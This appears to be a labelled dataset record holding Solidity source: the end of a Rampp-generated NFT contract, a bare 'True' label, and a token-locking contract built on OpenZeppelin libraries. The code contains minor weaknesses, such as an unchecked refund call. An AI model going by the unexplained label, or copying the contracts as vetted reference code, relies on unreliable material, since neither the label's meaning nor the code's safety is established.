function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
return ownershipOf(tokenId);
}
}
// File: contracts/CoolKidsPassContract.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoolKidsPassContract is RamppERC721A {
constructor() RamppERC721A("Cool Kids Pass", "CKP"){}
function contractURI() public pure returns (string memory) {
return "https://us-central1-nft-rampp.cloudfunctions.net/app/QVDrY6O68vcXncreCG5c/contract-metadata";
}
}
//*********************************************************************//
//*********************************************************************//
// Rampp v2.0.1
//
// This smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT communities without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Rampp is not associated or affiliated with this project.
// Twitter: @Rampp_ ---- rampp.xyz
//*********************************************************************//
//*********************************************************************//
|
True
|
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/**
*Submitted for verification at snowtrace.io on 2022-02-15
*/
// SPDX-License-Identifier: UNLICENCED
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\access\Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\utils\Pausable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File: contracts\IERC20Extended.sol
pragma solidity 0.6.2;
interface IERC20Extended {
function decimals() external view returns (uint8);
}
// File: contracts\IPriceEstimator.sol
pragma solidity 0.6.2;
interface IPriceEstimator {
function getEstimatedETHforERC20(
uint256 erc20Amount,
address token
) external view returns (uint256[] memory);
function getEstimatedERC20forETH(
uint256 etherAmountInWei,
address tokenAddress
) external view returns (uint256[] memory);
}
// File: contracts\LockToken.sol
//Team Token Locking Contract
pragma solidity 0.6.2;
contract LockToken is Initializable, OwnableUpgradeSafe, PausableUpgradeSafe {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Address for address;
/*
* deposit vars
*/
struct Items {
address tokenAddress;
address withdrawalAddress;
uint256 tokenAmount;
uint256 unlockTime;
bool withdrawn;
}
uint256 public depositId;
uint256[] public allDepositIds;
mapping (address => uint256[]) public depositsByWithdrawalAddress;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
/*
* Fee vars
*/
uint256 public feesInETH = 1 * 10 ** 17;
address payable public companyWallet;
event LogWithdrawal(uint256 index, address SentToAddress, uint256 AmountTransferred);
event LogLocking(uint256 index, address SentToAddress, uint256 AmountLocked);
event FeesChanged(uint256 indexed fees);
modifier onlyContract(address account)
{
require(account.isContract(), "The address does not contain a contract");
_;
}
/**
* @dev initialize
*/
function initialize()
external
{
__LockToken_init();
}
function __LockToken_init()
internal
initializer
{
__Context_init_unchained();
__Ownable_init_unchained();
__Pausable_init_unchained();
}
/**
*lock tokens
*/
function lockTokens(
address _tokenAddress,
address _withdrawalAddress,
uint256 _amount,
uint256 _unlockTime
)
public
payable
whenNotPaused
returns (uint256 _id)
{
require(_amount > 0);
require(_unlockTime < 10000000000);
if( feesInETH > 0 ) {
uint256 minAmount = feesInETH;
require(msg.value >= minAmount, "Low fee amount");
uint256 feeDiff = msg.value - minAmount;
(bool success,) = companyWallet.call.value(minAmount)("");
require(success, "Fee transfer failed");
/* refund difference. */
if (feeDiff > 0) {
(bool refundSuccess,) = _msgSender().call.value(feeDiff)("");
}
}
uint256 balanceBefore = IERC20(_tokenAddress).balanceOf(address(this));
// transfer tokens into contract
IERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount);
uint256 amountIn = IERC20(_tokenAddress).balanceOf(address(this)) - balanceBefore;
//update balance in address
walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(amountIn);
_id = ++depositId;
lockedToken[_id].tokenAddress = _tokenAddress;
lockedToken[_id].withdrawalAddress = _withdrawalAddress;
lockedToken[_id].tokenAmount = amountIn;
lockedToken[_id].unlockTime = _unlockTime;
lockedToken[_id].withdrawn = false;
allDepositIds.push(_id);
depositsByWithdrawalAddress[_withdrawalAddress].push(_id);
emit LogLocking(_id, _withdrawalAddress, _amount);
}
/**
*Extend lock Duration
*/
function extendLockDuration(
uint256 _id,
uint256 _unlockTime
)
public
{
require(_unlockTime < 10000000000);
require(_unlockTime > lockedToken[_id].unlockTime);
require(!lockedToken[_id].withdrawn);
require(msg.sender == lockedToken[_id].withdrawalAddress);
//set new unlock time
lockedToken[_id].unlockTime = _unlockTime;
}
/**
*transfer locked tokens
*/
function transferLocks(
uint256 _id,
address _receiverAddress
)
public
{
require(!lockedToken[_id].withdrawn);
require(msg.sender == lockedToken[_id].withdrawalAddress);
//decrease sender's token balance
walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount);
//increase receiver's token balance
walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress] = walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress].add(lockedToken[_id].tokenAmount);
//remove this id from sender address
uint256 j;
uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length;
for (j=0; j<arrLength; j++) {
if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) {
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1];
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop();
break;
}
}
//Assign this id to receiver address
lockedToken[_id].withdrawalAddress = _receiverAddress;
depositsByWithdrawalAddress[_receiverAddress].push(_id);
}
/**
*withdraw tokens
*/
function withdrawTokens(
uint256 _id
)
public
{
require(block.timestamp >= lockedToken[_id].unlockTime);
require(msg.sender == lockedToken[_id].withdrawalAddress);
require(!lockedToken[_id].withdrawn);
lockedToken[_id].withdrawn = true;
//update balance in address
walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount);
//remove this id from this address
uint256 j;
uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length;
for (j=0; j<arrLength; j++) {
if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) {
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1];
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop();
break;
}
}
// transfer tokens to wallet address
require(IERC20(lockedToken[_id].tokenAddress).transfer(msg.sender, lockedToken[_id].tokenAmount));
LogWithdrawal(_id, msg.sender, lockedToken[_id].tokenAmount);
}
/**
* @dev Called by an admin to pause, triggers stopped state.
*/
function pause()
external
onlyOwner
{
_pause();
}
/**
* @dev Called by an admin to unpause, returns to normal state.
*/
function unpause()
external
onlyOwner
{
_unpause();
}
function setFeesInETH(uint256 _feesInETH)
external
onlyOwner
{
feesInETH = _feesInETH;
emit FeesChanged(_feesInETH);
}
function setCompanyWallet(address payable _companyWallet)
external
onlyOwner
{
require(_companyWallet != address(0), "Invalid wallet address");
